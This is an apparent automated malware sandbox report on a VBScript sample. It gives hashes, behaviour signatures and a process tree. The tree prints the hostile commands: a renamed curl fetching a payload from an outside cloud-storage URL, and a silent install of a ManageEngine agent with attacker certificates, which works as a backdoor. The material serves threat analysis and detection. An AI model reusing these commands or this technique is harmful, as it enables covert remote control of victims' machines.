Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
28/09/2026, 06:32
Static task
static1
Behavioral task
behavioral1
Sample
asir.vbs
Resource
win10v2004-20260911-en
windows10-2004-x64
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
asir.vbs
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
19 signatures
150 seconds
General
- Target asir.vbs
- Size 10KB
- Sample260928-has2dsxt2p
- SHA256 d6a5ec91bf15db1764e679ad0c72e83231c4558df1b670435db983c387183cab
- MD5 ae5ae7829e21ae0e9fbf4b7c62531417
- SHA1 970b364f63dfa99692e2a829f732d5159b7ada77
- SHA512 597140344fa232f7caa55102575c3d0e4914630ecc0c25a5becd2056370e984885c5df070d9fb7ced314f37f3bd20647a2ff32f55c4507fe6fdf703c5021feaf
- SSDEEP 192:g+Sydu0/9do26pC7cDYF7HL1zU1/qVauF/f/7A/egUwbO4PgQC8:gzydVfo/pC41/SaMJ3wb/17
- TLSH T12722B463120BE2F2C0F261072677A50EFA41B57755F2B439BDDC4400DF61B5993DA8DA
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- DCAgent remote management tool 1 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral2/files/0x000d00000001c4ec-229.dat hacktool_dcagent - Executes dropped EXE 2 IoCs
pid Process 2688 lib.dll 4228 dcagentregister.exe - Loads dropped DLL 5 IoCs
pid Process 5796 MsiExec.exe 4228 dcagentregister.exe 4228 dcagentregister.exe 4228 dcagentregister.exe 4228 dcagentregister.exe - Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe \??\F:\ msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\dcagenthttp.dll msiexec.exe File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
pid Process 5292 wscript.exe 2084 WScript.exe 3104 wscript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-mc.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-vul.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\maximize_icon.svg msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentupgrader.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\user.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\console2.rgn msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\AgentQPPMUpgrader.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_requested.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\detected_sw.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Alert.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\talkbackwidget.swf msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_cold.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_hot.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\chat.rgn msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\logger.conf msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdown.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\MicrosoftEdge.admx msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restore_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\ZChangeNotifier.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Cold_Send.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dropdownarrow.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ImageFactor.json dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\console1.rgn msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_request.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\x-icon.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff2 msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_button.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\remind_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7z.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\alert.swf msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\patch.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferup.log dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\hot_mover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\alert.rgn msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\User.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\console.swf msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_software.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\cold_normal.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Tools.vbs msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_rejected.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\me-sign.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\dc_rds.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7z.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history_ico.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_download_all.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Bit-locker.bat msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Hot_Send.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Restart.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\chat.png msiexec.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File created C:\Windows\Installer\e598572.msi msiexec.exe File opened for modification C:\Windows\Installer\e598572.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI887F.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF5B24719B2F490ED7.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e598573.mst msiexec.exe File opened for modification C:\Windows\Installer\e598573.mst msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DFE18E5AC491107348.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI8B7E.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5232 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WScript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WScript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname lib.dll Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain lib.dll Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe - Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeShutdownPrivilege 4588 msiexec.exe Token: SeIncreaseQuotaPrivilege 4588 msiexec.exe Token: SeSecurityPrivilege 4532 msiexec.exe Token: SeCreateTokenPrivilege 4588 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4588 msiexec.exe Token: SeLockMemoryPrivilege 4588 msiexec.exe Token: SeIncreaseQuotaPrivilege 4588 msiexec.exe Token: SeMachineAccountPrivilege 4588 msiexec.exe Token: SeTcbPrivilege 4588 msiexec.exe Token: SeSecurityPrivilege 4588 msiexec.exe Token: SeTakeOwnershipPrivilege 4588 msiexec.exe Token: SeLoadDriverPrivilege 4588 msiexec.exe Token: SeSystemProfilePrivilege 4588 msiexec.exe Token: SeSystemtimePrivilege 4588 msiexec.exe Token: SeProfSingleProcessPrivilege 4588 msiexec.exe Token: SeIncBasePriorityPrivilege 4588 msiexec.exe Token: SeCreatePagefilePrivilege 4588 msiexec.exe Token: SeCreatePermanentPrivilege 4588 msiexec.exe Token: SeBackupPrivilege 4588 msiexec.exe Token: SeRestorePrivilege 4588 msiexec.exe Token: SeShutdownPrivilege 4588 msiexec.exe Token: SeDebugPrivilege 4588 msiexec.exe Token: SeAuditPrivilege 4588 msiexec.exe Token: SeSystemEnvironmentPrivilege 4588 msiexec.exe Token: SeChangeNotifyPrivilege 4588 msiexec.exe Token: SeRemoteShutdownPrivilege 4588 msiexec.exe Token: SeUndockPrivilege 4588 msiexec.exe Token: SeSyncAgentPrivilege 4588 msiexec.exe Token: SeEnableDelegationPrivilege 4588 msiexec.exe Token: SeManageVolumePrivilege 4588 msiexec.exe Token: SeImpersonatePrivilege 4588 msiexec.exe Token: SeCreateGlobalPrivilege 4588 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe Token: SeRestorePrivilege 4532 msiexec.exe Token: SeTakeOwnershipPrivilege 4532 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4588 msiexec.exe 4532 msiexec.exe 5796 MsiExec.exe - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2084 wrote to memory of 5232 2084 WScript.exe 89 PID 5232 wrote to memory of 2688 5232 cmd.exe 91 PID 2084 wrote to memory of 3104 2084 WScript.exe 93 PID 3104 wrote to memory of 5292 3104 wscript.exe 95 PID 5292 wrote to memory of 4588 5292 wscript.exe 96 PID 4532 wrote to memory of 5796 4532 msiexec.exe 98 PID 4532 wrote to memory of 4228 4532 msiexec.exe 99 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 6 curl/8.8.0
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asir.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_65224\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65224\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5232 -
C:\Users\Public\Documents\MSUpdate_65224\lib.dllC:\Users\Public\Documents\MSUpdate_65224\lib.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_65224\lose.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/lose.zip3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:2688
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_65224\setup1.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3104 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\MSUpdate_65224\setup1.vbs" /elevated3⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5292 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.msi" TRANSFORMS="C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_65224\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Public\Documents\MSUpdate_65224\DMRootCA.crt" /qn4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4588
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 47C9053ED7E801DE366E8611AA0EEB7E2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5796
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:4228
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 2.3MB
- SHA256 7627f75435af64ab72991eb93996df3f61101e7b57cdf5a9d8d2e06d75b76aad
- MD5 2843aac7409fc7e54722c6238342f660
- SHA1 3e40879eacf10473127386816c24e0cf245410f6
- SHA512 f8a6e689f3b0c6761aa84f29d717d192fc0b34767a06d551a3937827a95f0cf740baada2a151b4ef6138a0fa626a93c94d45e34c235de63e265cebf32c9e70c2
- SSDEEP 49152:8P5i/uH8WK6WK0Lh8tRjd4b39T9+LoSaEYLUzSPrBsFwZkmTbk8iE8phYhlJFxI:8P5i/uH8WK6WK0WtRU9TAodE0UzirBsH
- TLSH T17CB5BF23EA808032E4CE053692FD5BB65D3E9A10132CA9D3ABD53DB45E755E2663C34F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 92KB
- SHA256 430aad28ddd50d0026f7e547764b2f4cd7c54204519e119614895068397904dc
- MD5 2978f0ceba230877a2476d3d99739518
- SHA1 a16ae5aa1bb6017d2732ee5cced1ede9b091816e
- SHA512 5e8ccd699315e23ccc94b4541d568815f88ffc5736c39bdc29d4dc9c3dce3e8ee1b9c70e9f28d980b5433f5bc10d49658b13dc2e8947a415e45d1e4153001cc5
- SSDEEP 1536:APLaK7cLtLWedH8rwkrsofXR1BjDrl7E2zzi0FNLGpxLzH:T66trH4wW3RE2zzieLGDT
- TLSH T1ED938E227690C032E456597468ACCA725E7FBD215BB8C4C77788477B1FA03C0AF7A35A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
- Size 242KB
- SHA256 1a388c11ac7b14c44ecb605da1f6111274beb11d947442311c5ef1a88d6e4b68
- MD5 80ff33c99dd10147ea596dc25319a780
- SHA1 04bada413072751276f871286071cf691b5073ff
- SHA512 ae0ff8a43d19cc0b4a26cf10e7fa28779d803d984639d2e6a5304a6e737635a440a5551633a1026be8b3a9d847ac0f7e125e1f00f0edeb5fb03bc5afefa6e44c
- SSDEEP 768:HDVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAaS:HDzZZ1uSNABIpkIU1
- TLSH T13E3418969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
- Size 415KB
- SHA256 9e2dcf836433b648d592cf5ea82af6d44cc6f0cb8625436dc164dda3601df2a7
- MD5 d1a1e51389e6663e8e53933731adf46f
- SHA1 9ada91a587210f7f67ce5e805d7c35ba1c4201eb
- SHA512 14208064c56b6fd9998f10b7a534b3c48ddc1539ca4ae63521e5ccced1824e3a2e7ecc0c2e592138bf17d4ef07d253ba537215d8fc095b0d2a55842887624a99
- SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZn2FYYh:6fufQiiNJY7tYiSYh
- TLSH T13E94B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
- Size 109KB
- SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
- MD5 b39316c180a11c7cbefd08019ad9c97d
- SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
- SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
- SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
- TLSH T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
- Size 1.6MB
- SHA256 0c6236f2f6794c79fb2795bea6eb04775d94ea8079ce9d92502236bfb448a706
- MD5 415d608384f186f24717c62056111c99
- SHA1 85a8d23411db39acaaa00a7efb974535f74bfb26
- SHA512 f72b81cddefac677b27d41380fbc647c83a1cd22ac3d319659f569d64907103cbaa5ca3ab877c97fb54f3f0f37b5a6a3a7afa96f6c4c7bee02aaa275473b7ceb
- SSDEEP 49152:L8vq3hwELiWbHTKR0NDZK+/0KfEDKJKzK5xFKOQFKNoDKpW83wKFC+KFE2v:4vqxwEeWbHTK+hZK+/0KfEDKJKzK5xF8
- TLSH T13E75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
- Size 3.1MB
- SHA256 15ad7ce2ebfda80a19bde288e71b7c63c1b3cd71416b7ee2df6504610de44883
- MD5 7e12fdfa73e292f21d91fab687229213
- SHA1 092919df467205f4b81337a73e1d8602c77d92ee
- SHA512 5e41cf585b2e549330b21d8e9f414fbe7588fe405c1b80d32053c14b98b45a001384c93ac32e7253910f01285f1c6efc0d46e163c1b0c3f017fd04f5bda20ad7
- SSDEEP 49152:8594T6Iiya9PlJdUI11loQlxI6Uh8Zvu4d7TmunCQ/XHaT9eGfcph9yv3fxJuQ:8P4uIiya9PeHQlxdQ4dGunCQfUer9yvr
- TLSH T19AE5AF13EB418031E5DA00B6C27A9B7A9D396730132590D7E7D06DE86EB45E27A3E34F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
- Size 36KB
- SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
- MD5 171937a8fad6a1c8a37344d09d4fc20c
- SHA1 834ef4f8bdf16e94383272f7024070cebc002cfe
- SHA512 c65909a920b6de0b19e083bab695e8e2dc812c143910ee1e0e69e7141a85e9fae0b2332795d52957aba5829609cd66bcbd4045eddde4df98c0a20c306a64aa3c
- SSDEEP 768:2vevzUxNXpUN3RRTe5fF7leCB8EumP7M+e265Cz7NIpYIOi+SLyyS:2vevKNZUtRRfCBXF2HCHmpY3i3OL
- TLSH T10303E1795E45653DC4B283B7A1D8E3AF340F0A087A50653C13A3C36D6ABC7083F529EA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
- Size 449B
- SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
- MD5 60bd20b51eb0483e93aa6f4cb0a84288
- SHA1 35ef5eed1eb03f4c5ce8b6314d5457fd6984d7a4
- SHA512 f359e72fc17bebaeaf7ac520667f300213fa1c10775a6fee1d0af05573a610bbbb2dc7050644ddb5610c05873adbfb90042d8d3694c3038792127c982c77425f
- TLSH T1C3F023062DA90252D34DA62704FC8022DE9B89045AC0381CBB07DC7D2F4059555C9BDF
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
- Size 2KB
- SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
- MD5 d4893659007e98de701a47cd39991be3
- SHA1 536c49e5da960171320d4df6c9e6b573bdf2d030
- SHA512 6d1812768eaae453512e4b47f190ea7ecc4bd5a535bd9f5c168e770f1c88291a74f95947199be8468127e7756260c94e28b6430556da65170537c384cba0bc29
- TLSH T1EF41A58272C4BFFD10035713B01FF395161AE902CEADF6D32135B6A4AC11614436687B
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\Documents\MSUpdate_65224\DCAgentServerInfo.json
- Size 1KB
- SHA256 e62d6402139789dd8e53fcaafb1d338d97b5473cee7be8960a05520c50d937b1
- MD5 de9c2a9217458ef10cc542c1888f0cdc
- SHA1 cd9dd9306e94d5ce0a9af885e86d9bac36bcadb8
- SHA512 4c55bb6df73a45c607c4313cbbc34161b78dc75ee7ffd6f15eaf8bdc742c026d5465f45f0dd9aa879633cd4bfd341cfae3fd706e8ce3b516382149730c08711a
- TLSH T15A31DCE8DC530E576ACE9A4D540C28096278046F0D147888776DE8DDFFAD20F27F256E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.msi
- Size 31.8MB
- SHA256 92f68fc7f6d0f544a750bf67b4903d1a4062d1372b7f98ab5c2f698eb61359bb
- MD5 db7ca603d463a06806ff1660979f406d
- SHA1 823ade4e43d36416436a115c48ba562d94fa696f
- SHA512 8e2527478514cf5ec8b40fa0ffc53d91ae72a1ba75a8c96800e06282b5e76e2f2f61f4b9e979c15f691591ee4f926b17aa07aebf31de68638b13e94db702b8d5
- SSDEEP 786432:juvkjbX98hUIlkZpqcvX4kp1h1HnX6Jx5L3gxKF:ivk3X98hUUspqcvokD3yxU6
- TLSH T1FD77337234438836D5C26CB095E6C364D2A60D508EB42453A677B2BBDAF37C296F73E1
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Documents\MSUpdate_65224\UEMSAgent.mst
- Size 20KB
- SHA256 180195558475b32abedb88b3103c06ee464148809986b78de32d8fdba897c516
- MD5 0509fd12bad30c0cbe679a18bcb2042a
- SHA1 6c933d6b00da0a63621e646912a1079b2af5e0e5
- SHA512 9593e50f7c91fb06701938376255e3a50985a2b7559340f1f17d801026a2f5b8ef1348857b80a0d9b6559768525d68f148b372a50597b0ec8aac15309db800ee
- SSDEEP 48:k7xLm2JQMPTjbJc3GgCP/p/vvrdGRFXfJJa8:kdJQyNGo/JRST
- TLSH T14E924D4AF622E93ACA494A329D53C3CC0731BC01CD82425B76D8B7DFBC7A1841B165EC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Documents\MSUpdate_65224\lib.dll
- Size 656KB
- SHA256 730a34ae4cf82e32f676f0bcd81a418967a641b6e9b88d2ec5d8e668ff4d7838
- MD5 c3977d6c9e8653f46697513c3ca50602
- SHA1 0c7413848ee7e349d32f62dcb03c8327d0ddd12f
- SHA512 a6bdda08856cc43534157c466685407c95f7c98a3ebc06c2296edb9cc3b0b5786c9d1fe3b0bbf29f3128fc3c94ed192949e941e82be03c0614f033f6380df228
- SSDEEP 12288:zWGxtFZTeuri7uhoknAWwjjK/IwX+5bAIGIT09nj5:zKuKuOknhyO95IGI4nj5
- TLSH T1F1E48C5253B404EAD0ABC176C6539607F7F2F05A234093DB42E4CAAA2F477A25F3E791
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Documents\MSUpdate_65224\lose.zip
- Size 31.3MB
- SHA256 a8000f6bcf5b22fa1b27ca1901f743fe252cfae95b33aab58ac8f70e6755abb4
- MD5 257894cc6abbd2f7d48b155b7509fc84
- SHA1 09f548dd7414c28b294d2f1f960d51896159d24d
- SHA512 d205a850831e0e1b7221791d3796d270d2cf80e66c6e6621ccc5c5c9bbf48fdf24a2ff514a99c99ebba666eb7138d49160d15f1a0bf6083a70cb1cf46201f0eb
